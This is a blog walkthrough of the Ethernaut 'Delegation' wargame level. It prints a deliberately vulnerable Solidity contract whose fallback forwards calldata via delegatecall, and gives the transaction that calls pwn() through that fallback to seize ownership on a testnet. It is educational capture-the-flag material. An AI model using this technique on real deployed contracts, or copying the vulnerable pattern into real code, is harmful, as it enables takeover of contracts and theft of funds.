Back to blog
Jun 28, 2025
4 min read

Delegation – Level 6 Walkthrough

Step-by-step walkthrough for the Ethernaut Delegation level. Learn to exploit delegatecall misuse, claim ownership, and understand storage collision vulnerabilities in smart contracts.

🧾 Delegation – Level 6 Walkthrough

Welcome to the Delegation level of the Ethernaut wargame by OpenZeppelin, where you’ll exploit delegatecall misuse to take control of a contract.


🎯 Challenge Objective

You are given a contract that delegates calls to another contract using delegatecall.

Your goals:

  • Become the owner of the main contract
  • Submit the instance to complete the level

✅ Prerequisites

Before starting, make sure you have:

  • MetaMask installed and connected
  • Test ETH on a testnet (e.g., Sepolia)
  • Familiarity with delegatecall in Solidity
  • Access to Ethernaut and browser DevTools console

🔍 What’s the Vulnerability?

The key vulnerability lies in the misuse of delegatecall.

🔧 Contract Summary:

There are two contracts:

Delegate.sol

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

Delegation.sol

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result, ) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

⚠️ The fallback function uses delegatecall, which runs the Delegate’s code in the Delegation’s context, allowing you to manipulate the storage of Delegation.

By calling the function pwn() via the fallback, we can set ourselves as owner.


🚀 Getting Started

1. Load the Level


🧪 Walkthrough – Step by Step

🗒️ Step 1: Find Function Signature for pwn()

Use web3 to get the function signature:

web3.utils.keccak256("pwn()").slice(0,10)

Output: "0xdd365b8b"

This is the method selector for pwn().


🛠️ Step 2: Call Fallback With Function Selector

Now call the fallback function with the pwn() signature to invoke it through delegatecall:

await web3.eth.sendTransaction({
    from: player,
    to: contract.address,
    data: "0xdd365b8b"
});

🧠 This triggers the fallback function in Delegation, which calls pwn() from Delegate using delegatecall. Since storage is shared, owner in Delegation is now msg.sender, i.e., you.


🔍 Step 3: Verify Ownership

await contract.owner()
// should return your wallet address (player)

✅ Step 4: Submit the Level

Click “Submit instance” and confirm in MetaMask. If you’re the owner now, the level will be marked as complete.


💡 What You Learn

  • How delegatecall works in Solidity
  • The risks of blindly forwarding calldata with delegatecall
  • How storage layout matters when delegating logic

📘 Concepts Covered

ConceptDescription
delegatecallExecutes code from another contract, but in the context of the calling contract
Fallback functionCatches calls to undefined functions; dangerous when paired with delegatecall
Function selectorFirst 4 bytes of the Keccak-256 hash of the function signature
Storage collisionDelegatecall modifies the storage of the calling contract, not the callee

🔗 Resources


Ready for the next challenge, Force? Let me know!